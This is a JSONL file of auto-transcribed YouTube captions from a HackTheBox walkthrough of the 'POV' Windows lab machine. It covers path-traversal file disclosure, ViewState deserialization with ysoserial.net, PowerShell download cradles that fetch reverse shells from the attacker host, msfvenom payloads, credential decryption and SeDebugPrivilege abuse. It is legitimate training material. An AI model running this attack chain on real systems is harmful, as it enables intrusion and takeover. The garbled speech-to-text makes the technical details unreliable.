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HackTheBox_-_POV.jsonl

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+{"text": "what's going on YouTube this is ipag we're doing POV from hack the box which is a medium rated Windows machine that doesn't have any active directory but is a lot of fun it can be a little bit more challenging than intended if you just don't know some silly Windows quirks and I'll do my best to Showcase those in this video the first one being with the foothold that involves Ys so.net there's a dation attack that isn't too tough but if you use command prompt with this executable and use single quotes um it's just not going to work because command prompt doesn't treat quotes as quotation marks and it's not clear exactly why it's not working when you do it you can run into a lot of issues once you get a foothold on on the box you find credentials to another user when you log in as that user you have SE debug privilege if you use like the Powershell invoke command then the debug permission", "start": 0.24, "duration": 0.0, "meta": {"video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE"}}
+{"text": "will always be disabled and it's I can't find a way to enable it again but if you use materer or um chisel and pivot with evil winm it works but with all that being said let's just jump in because make much more sense when we can show it off as always we're going to start off with an end map so- SCC for default scripts SV enumerate version - VV for double verost this gets us the TTL and things like that OA output all formats put in the end map directory and call it POV then the IP address of 1010 11251 this can take some time to run so I've already ran it looking at the results we have just one port open that is HTTP on Port 80 and it is an IIs web server uh we have the HTTP title saying it's pv. htb so we have the leaked host name there but let's just go take a look at the website um we could also do like a full end map to see all the other", "start": 47.239, "duration": 0.0, "meta": {"video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE"}}
+{"text": "ports that are open if there are any but when end map just tells me one port I like looking at that first before I go digging other places so just going to pv. htb or 10101 11251 we get just a boilerplate website um and I don't see too much here one of this is like HTML or whatnot uh there is a contact us that has s fits at pv. htb so we have a potential username here but since we don't have SMB or anything like that we don't we can't really spray anything we could test this login form so if we do IPC root ic. roxs uh test and I'm going to send this over to burp Suite just to see if it sends any data if this is a working contact us form and it doesn't look like it is we sent it and it sent no data so the contact us is a sham but there is also a dev. poo. htb so let's go take a look at that I'm going to do pseudo V Etc host", "start": 97.56, "duration": 0.0, "meta": {"video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE"}}
+{"text": "so we can add this to our host file so 101 11251 Dev PV htb and let's just add pv.", "start": 158.28, "duration": 0.0, "meta": {"video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE"}}
+{"text": "htb for good measure and I'm going to just test uh pv. htb really quick to make sure it's the same site we expect it is so now let's take a look at what Dev is so Dev POV htb and we probably should run gobster or something in the background on po. htb to see if like we can get any in interesting information out of it um index HTML is that ASD so this is just a static website with index.html um if we go to Dev it redirects us to portfolio and looking at this it looks like it is an online resume for Steven Fitz which is the user on pv. htb there is a link to download CV and it's doing some weird JavaScript thing right there and doesn't look like much else so let's go take a look at this download CV link am I still intercepting clicking on it and we can see it does a post request to portfolio and then we have a bunch of", "start": 165.28, "duration": 0.0, "meta": {"video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE"}}
+{"text": "parameters so this is going to be ASX or.net um just because I see like View State and things like that and it does get the file cv.pdf and we have what looks like to be a resume so let's go um back real quick and I'm going to look at that request again I'm just going to send it over to um repeater and I thought it would be right at the top of that but I guess not let's just intercept and click and then let's play with this right so we got file CV PDF if we do let's try index. aspx would that be um we get a found it redirects us to default.aspx and we have the aath portfolio default aspx so default is um another like index just for Windows right I does use default a lot so we do that and we get the page and it doesn't look like it's a local file include because it's actually displaying this if it was actually executing code I don't", "start": 234.4, "duration": 0.0, "meta": {"video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE"}}
+{"text": "think we'd see this header um so we can include files off the server and whenever I try get a file disclosure on Windows I I always go for the web config directory because you may get a quick win there um so I want to go take a look at where I am if I go to portfolio CV PDF uh we get the file so I know I'm in this directory right because there's also default aspx here as well um I want to go up one so let's go to repeater and I'm going to try do web.config and we just get the error so it's going to default aspx let's see if there's a default aspx in this root um file like up one from folder and we get what looks like the same exact file um I'm going to look at 21 to 64 bytes down in the bottom right and then come on go away I don't know why that's highlighting there we go um 21264 so those are the same so what it's", "start": 302.84, "duration": 0.0, "meta": {"video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE"}}
+{"text": "happening is it's removing this either it's going to remove like all um directory characters or it just has a replace on do slash and I'm going to test for the replace on do slash by adding another do and middle of it because when you do replace commands they're not recursive so they're not going to run over and over again um so when it removes this do dot slash it will just leave this one and we'll get it so run this and we have an error I'm going to try web.config just in case um there's no default in the index and we do get it so um all the web server is doing is removing the dot dot slash so now we just have a web config so let's um makeer xfill I guess V web config and I'll paste this let's do a set paste man we have all those new lines that's annoying I'll just get rid of those quickly because it's easier for me to", "start": 375.319, "duration": 0.0, "meta": {"video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE"}}
+{"text": "see without them okay and we also have all the keys um there is a way in I to just have this autogenerate so the keys get generated every time the web server starts up and when it does that you won't have the this information in the config which means you won't be able to do the next step and that is use this to create a malicious view State Gadget here and get code execution on the server and to do that we're going to use um why so serial and this sounds super complicated but it's relatively easy Once you see you have a decryption key and a validation key but we will need to go over to Windows so I'm going to do that now by just going up here we'll go over to my Windows machine and um you just Google y.net it's right on GitHub you can download it I'm also going to switch over to CMD because there's a weird", "start": 444.84, "duration": 0.0, "meta": {"video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE"}}
+{"text": "Windows Quirk and CMD doesn't treat quotation marks as quotes it treats it as characters and when I was doing this box um I actually ran into and would scratch my head for quite a long time and eventually I asked xxxdf for help and we discovered it was my quotation mark that was causing an issue and we were just baffled it doesn't affect Powershell it only affects um CMD but I run Yu serial we look at plugins if you go up you can see like example syntax but the key thing is plugins we want to do view state so I'll do- P view State and then we can just do das Das examples to get a bunch of examples I'm going to do the top one so let's just copy this and I'm going to do the command at the end so we can easily change it um the path we want to put probably slash portfolio and then what we want is the app path and that's just going to be", "start": 500.759, "duration": 0.0, "meta": {"video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE"}}
+{"text": "slash and now we can say the decryption algorithm as the decryption key and we want to go back here and where is the decryption key we can copy and paste okay and then let's see after decryption key we need the validation algorithm and the example uses hmx sha one um if you look at the web config it's just sha one so I'll put that and then we want the validation key we go back over here and you can see the validation algorithm is right there but here's the key you can copy paste this okay and then we can do the- c for the command and we're going to do ping 10148 and when I was doing this box I went straight to a Powershell command which is why I was using the single quote because it made sense visually to me but that caus me a lot of just troubleshooting so now that we have this um let's do pseudo TCP dump DN for no", "start": 561.279, "duration": 0.0, "meta": {"video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE"}}
+{"text": "DNS uh- I ton Z icmp and then we can put the malicious view State here and when I send this we should see four pings come in because windows by default pings four times so now if we went all the way back and I change these quotation marks to be single quotes and then we copy and paste this it's not going to work and if it works I'm going to be really sad because I was 90% sure this is it so we can copy and paste here you see that we get nothing now if I take this command I will copy the entire command I'm going to go over to Powershell we still have the single quotes there we're going to run this and we're going to get it sending us ping so command does not like single quote so um maybe you should always be in Powershell or just when you're in command make sure you realize that so now that we have a way to um run commands let's get a webshell so you", "start": 634.72, "duration": 0.0, "meta": {"video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE"}}
+{"text": "could do this without a web cradle but I really like using web cradles just because you know the command exec if you just try to send the reverse shell straight um you don't know if it executed or not right so I'm going to make the dubdub duub directory then we go user share uh is it nchang Powershell or is it shells invoke Powershell TCP on line PS1 I'll call it shell. PS1 and then let's make this and we can say 10 10 148 9,1 so you could just convert this shell. PS1 to base 64 and then send it that way but again I like using web cradles so we'll do new object net. web client download string HTTP 101048 or 8,000 uh we'll call this shell PS1 like that okay so we can cat cradle and Powershell always likes it in utf16 little lendian and then we can do B 64- w0 and again you could just do that whole command on the shell. PS1 file and", "start": 714.04, "duration": 0.0, "meta": {"video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE"}}
+{"text": "avoid having on a web server but if antivirus picks it up you'll never know antivirus picked it up um the benefit to doing this way is antivirus won't flag on the web tradle it will flag after the web cradle so um yeah so I'm going to copy this command and then we're going to see if we get a reverse shell so I'm going to do RL RP NC lvmp 901 go up here and paste this we have a hit and we have a shell there we go so whenever you pop a windows web server or service I always like checking the who am ipriv to see if I have like any of the like sem personate services or things like that and we don't have any dangerous uh permissions if we go in Let's see we can do like a netstat command if we do net stat we can see all the open ports here would tell me like if there's a database running like mssql or MySQL or things", "start": 802.12, "duration": 0.0, "meta": {"video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE"}}
+{"text": "like that I don't really see anything we do see like winrm SMB and those things so there is definitely a firewall in Play Because edmap did not see these things um but nothing too interesting on the ports if I do who am I we are the S fits user so the web service is definitely running as as fits um let's see we could do Di let's go in inet Pub then dubdub dub root let's see what is there we go to public we have a web.config and public as well index.html um let's see CD Dev portfolio I wonder if we can write in public um CD public Echo test to test it does not look like we can um I think if I do at twoand one nope we don't see error messages but we cannot write in the public directory I was thinking maybe we could drop a webshell here and see if this um service is running as a different user right if we look at this", "start": 875.44, "duration": 0.0, "meta": {"video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE"}}
+{"text": "there is no um key so we can't even explo that so we're at kind of a loss uh we could go in sfit is home directory right so since we're running as s fits see if we do a DI in desktop nothing there di on documents and we have a connection. XML so if we type documents uh connection. XML we have uh what looks to be a encoded password this is just the system management automation PS credential object and since we're on this box we can easily reverse this um we could just run like the import CLI XML command and import this file and then do it that way but I don't like doing it that way um I like just doing it the manual um way which is just creating a password so we'll make sure this is copied and say convert to secure string and and paste this if I do PWD there's now a system security secure string so now I can", "start": 949.639, "duration": 0.0, "meta": {"video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE"}}
+{"text": "create the credential object so we'll do new object system management automation PS credential we give it the argument list and the username Oh shoot what was that used that this went to uh let's see was it type documents connection. XML maybe aladding a l a a d i n g and then the password which we called it PWD so now if I look at cred we have that and we can do um cred doget Network credential and password and that is the decrypted form of password so we have a ladings password or as long as it's valid so we can say V cs. text lading and copy this and we could quickly test if this is valid by doing like a inote command is it host Local Host credential cred script block who am I uh that did not work thought that would do we put this in par uh quotes what is the error message here is there no a l a a d i n g that is", "start": 1028.64, "duration": 0.0, "meta": {"video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE"}}
+{"text": "looking right oh computer name probably there we go so we can successfully run commands as a lading and we could also go and do a poell command so we do Powershell DC where was that um we can just do that icon command again uh I convert what do we call it cradle there we go run that shell we see it hit and we get a shell as a lading and this invo command is not going to um give us a shell back until this one finishes and one thing we notice as this aladding user if we do Who Am ipriv uh we have the SC debug privilege it's listed it's disabled and we should be able to enable this but I did a lot of like playing around I could not get it enabled when I do this invoke command um so for example if we went and said let's see there's probably like a security policy on it being a remote connection but hold on um enable", "start": 1141.44, "duration": 0.0, "meta": {"video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE"}}
+{"text": "privileges Powershell will bring us to a script that should do it uh go back that's not what I want enable privilege.", "start": 1226.919, "duration": 0.0, "meta": {"video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE"}}
+{"text": "PS1 is this yeah this should do it I also tried a script called like enable all Privileges and it didn't work but we'll try this one so we'll do w you get on this then we can new object net. web client download string HTTP 101048 P 8000 enable rev.", "start": 1246.6, "duration": 0.0, "meta": {"video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE"}}
+{"text": "PS1 we made the get so we should be able to just do enable privilege and then specify the privilege so I'll copy this and we'll replace that with backup or debug debug privilege and then who am I SL priv and it's still disabled it should be enabled here um and then if this is enabled if we had a good shell to the Box we would be able to um run a command called PSG system and that would allow us to um root the box and at the end of the video I'll show one odd thing that I don't know why it's not working but um another way we can abuse the debug permission is if we had interpreter and that will enables to use the migrate command because the debug lets you debug a process and that's what's needed to migrate an interpreter or any type of C2 framework it's very tough to do a migrate and power shell but mpal make it super easy for us so let's just switch", "start": 1278.44, "duration": 0.0, "meta": {"video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE"}}
+{"text": "to that and then I'm going to do run as CS to get a good shell and show the PSG system fails there but if we like logged in locally to the box and did it um it works there so it's an odd behavior that we'll go into so where were we we want to um get my interpeter so I'm going to do msf Venom DP windows x64 rur reverse TCP then L host is equal to t0 l Port is equal to we'll do 90002 format's going to be exe and we'll call it interpreter.", "start": 1349.799, "duration": 0.0, "meta": {"video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE"}}
+{"text": "exe and while that's going we can do studo msfb run and this is going to initialize metas plate for us hopefully okay it is starting let's move mypet to dubdub and let's go to program data and let's see we can curl HTP 101048 p 88000 interpreter. ex- o interpreter.", "start": 1392.159, "duration": 0.0, "meta": {"video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE"}}
+{"text": "exe I actually don't know if it's going to work when we're executing in this Powershell session um we'll see uh let's see use exploit multi Handler and then set lhost is equal to ton Zer set L Port 90002 set payload he will copy this and then run execute interpreter.", "start": 1429.039, "duration": 0.0, "meta": {"video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE"}}
+{"text": "exe we should get a session and then we say get prives we do not have the debug and I think that's because we are in this Powershell session so we want to get out of there and I'm going to upload um run as CS because that's going to allow us to um run as a different user do I have it locate run as CS you can just copy it here and again you can just Google this on GitHub to get a copy um oh I don't have it there we go move run SCS to dubdub dub let's just do another netcat send the reverse shell again go and program Data Girl HTTP 101048 uh run as cs.", "start": 1465.12, "duration": 0.0, "meta": {"video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE"}}
+{"text": "exe I'll put it there I don't know why it's not running do not download C 10 10 148 oh I didn't specify Port 8,000 okay so we should now be able to do run as Cs and then was it aladding we want creds a l a a ding okay and then let's just verify it works it does does where is reverse there's a way to just have it send a shell okay so we can do CMD and then- R 10 1048 91 okay so now I do here my SL priv we have S buug is disabled but when you go into Powershell from this and then we do Who Am ipriv it enables itself it's just a weird thing that happens when you run in Powershell but we don't have to be in Powershell if we execute interpreter from this position uh let's exit this run once it goes we can run get prives again and we have the S buug so again when you use invoke command you may be under more restrictions than you expect", "start": 1551.52, "duration": 0.0, "meta": {"video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE"}}
+{"text": "right so using run SCS to switch users makes it so we log in more interactively to the box which lets us do this SC debug thing right so all we have to do is get a list of processes on the box find one that's running as um system or administrator and then we can migrate to it so let's see what is a good one to do um VMware tools probably we can do 624 so I do migrate 624 we're migrating access is denied so maybe not that one I actually don't know why we couldn't do that uh we can do 476 winlogon.exe migrate 476 was that it 47 oh I Wasing the parent PID not P ID where was that VM tools we were trying to do this so maybe 2336 476 is probably like CRS or that's like a protective process I'm guessing there we go so if we do shell who am I we are now ENT Authority system so we can go users administrator desktop and we can get root. text now I", "start": 1681.84, "duration": 0.0, "meta": {"video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE"}}
+{"text": "want to show something that is also puzzling me if we do where was it uh it was the script this should also allow us to do it from Powershell but the shell we had for some reason just does not work so I'm going to WG we will run this I'm going to do Powershell and this is where I'm doing the um like run SCS thing right I think if I do dasb I can get that to be enabled I think that's a UAC thing I'm going to run this again going specify dasb if we do power shell okay they're all enabled so we can increase our working set privilege if we want um we also have debug so I'm going to do new object then net. web client download string HTTP 10148 um what was it called PS get sis PS1 again I forgot to do Port 8000 there we go and that gives us this command so we can impersonate from parent PID so if I run this I'm going to use the same P we did", "start": 1780.559, "duration": 0.0, "meta": {"video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE"}}
+{"text": "to the migrate so we can say 2336 and then what else is it um was it- command command CMD then is it CMD args would say power shell we'll just do a ping pseudo TCP dump dasi tons Z let's also do DN why getting pings no okay pinged oh I did not do icmp that's why let's seea cannot be found I did Dash Dash and that's not the last error I was getting before weird last era two what is that Windows error codes is that like permission two file not found okay 122 this is what I was saying and this is like insufficient buffer don't understand that we don't have a ping um if we did this from evil winrm as the same user Arrow work and you could do evil winrm um if you use chisel to Tunnel but since I'm already here I'm just going to run netsh advv firewall set all profile State off there we go so now I can just do evil wi", "start": 1879.559, "duration": 0.0, "meta": {"video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE"}}
+{"text": "rm- aladding DP put in this password then Das I POV h TB we'll get the shell who Am i/ priv oddly enough from this evil win orm session even though uh we did inote command it did not have it evil winner M does have SC debug I'm going to copy and paste the things we did before so I'm going to copy this and then we will copy this before I hit enter we see no pings hit enter and we still don't have any pings did not expect that so definitely find cmd.exe uh we can do Windows system 32 like this oh CMD args ping 10 1048 I forgot to do that there we go we have PS so let's add the word I forgot here ping and we don't get anything is literally the same command uh we do have the permission if we do Who Am ipriv we have it I just don't understand it but again it goes to show like if you run into errors um try it with different", "start": 2029.08, "duration": 0.0, "meta": {"video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE"}}
+{"text": "shells because you may be surprised at the results right so we run this let's try it yep worked again now I wonder what if we did it from interpreter so let's go CD program data slash interpreter.", "start": 2141.079, "duration": 0.0, "meta": {"video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE"}}
+{"text": "exe standing the stage how do I load Powershell I wonder if it's default now load Powershell interpreter it's like PWS H or something let's see starting Mater load power shell okay I never got my shell there it is I do not want that load power shell power shell shell okay where was that ex command and then we can run this so it doesn't look like this is going to work but I bet if I ran it from my evil winrm session from interpreter it would magically work I don't know why it's actually hanging though I did not expect it to hang like this terate the channel let's see 10 10 148 huh that killed my beacon let's run from when RM setting stage some reason this taking longer to get my interpreter session than it was earlier I guess that's okay copy this while we wait come on okay so now I can do load power shell and we can do power", "start": 2174.359, "duration": 0.0, "meta": {"video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE"}}
+{"text": "Shell Shell import this I'm going run who am I just make sure we still have our shell and we're going to try this command again looking here no pings came back and we still don't have any so just a really weird behavior from this one script I guess um but the easiest way to do it is get interpreter so you can go and migrate right because if we do get U ID you can see I'm aladding get prives and then we just migrate into that let's do a different one we can do when login that's 476 uh I always read that second one uh when log on 552 and this will migrate us into that process hopefully yep and then shell who am I or if we wanted to we could have just done the get U ID command again so that's going to be the Box um I can't explain why the uh PS git CIS is so flaky and why you need to do it on evil winm for it to be consistent um I just played around with multiple", "start": 2351.319, "duration": 0.0, "meta": {"video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE"}}
+{"text": "ways and that was the only way that command worked um it also works if you like remote desktop into the machine and run it from a console it just doesn't like a lot of reverse but evil winm is one of the reverse shells it likes which is mindboggling to me so with that being said take care all and I will see you all next time", "start": 2446.88, "duration": 0.0, "meta": {"video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE"}}